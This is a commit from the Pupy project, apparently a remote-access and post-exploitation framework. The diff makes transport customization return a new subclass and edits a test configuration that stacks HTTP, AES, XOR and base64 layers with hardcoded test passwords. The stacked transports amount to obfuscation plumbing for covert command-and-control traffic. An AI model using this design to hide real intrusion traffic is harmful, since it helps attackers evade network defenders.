fix subclassing NetworkTransportWrapper to cusitomize arguments when stacking multiple transports

This commit is contained in:
n1nj4sec 2016-06-04 18:53:58 +02:00
parent d1319db4c5
commit e3b83a63e7
2 changed files with 9 additions and 7 deletions

View File

@ -39,8 +39,8 @@ class BasePupyTransport(object):
raise TransportError("you cannot customize the protected attribute %s"%name) raise TransportError("you cannot customize the protected attribute %s"%name)
if not hasattr(cls, name): if not hasattr(cls, name):
raise TransportError("Transport has no attribute %s"%name) raise TransportError("Transport has no attribute %s"%name)
setattr(cls, name, value) NewSubClass = type('CustomizedTransport', (cls,), kwargs)
return cls return NewSubClass
@classmethod @classmethod
def set(cls, **kwargs): def set(cls, **kwargs):

View File

@ -10,7 +10,7 @@ from .transports.dummy import DummyPupyTransport
from .transports.b64 import B64Client, B64Server, B64Transport from .transports.b64 import B64Client, B64Server, B64Transport
from .transports.http import PupyHTTPClient, PupyHTTPServer from .transports.http import PupyHTTPClient, PupyHTTPServer
from .transports.xor import XOR from .transports.xor import XOR
from .transports.aes import AES256 from .transports.aes import AES256, AES128
try: try:
from .transports.obfs3.obfs3 import Obfs3Client, Obfs3Server from .transports.obfs3.obfs3 import Obfs3Client, Obfs3Server
obfs3_available=True obfs3_available=True
@ -144,14 +144,16 @@ transports["test_stacking"]={
"stream": PupySocketStream , "stream": PupySocketStream ,
"client_transport" : chain_transports( "client_transport" : chain_transports(
PupyHTTPClient, PupyHTTPClient,
AES256.set(password="plop123"), AES256.set(password="toto123", iterations=10000),
XOR.set(xorkey="plop"), XOR.set(xorkey="trololo"),
AES128.set(password="plop123", iterations=10000),
B64Client, B64Client,
), ),
"server_transport" : chain_transports( "server_transport" : chain_transports(
PupyHTTPServer, PupyHTTPServer,
AES256.set(password="plop123"), AES256.set(password="toto123", iterations=10000),
XOR.set(xorkey="plop"), XOR.set(xorkey="trololo"),
AES128.set(password="plop123", iterations=10000),
B64Server, B64Server,
), ),
"client_transport_kwargs": {}, "client_transport_kwargs": {},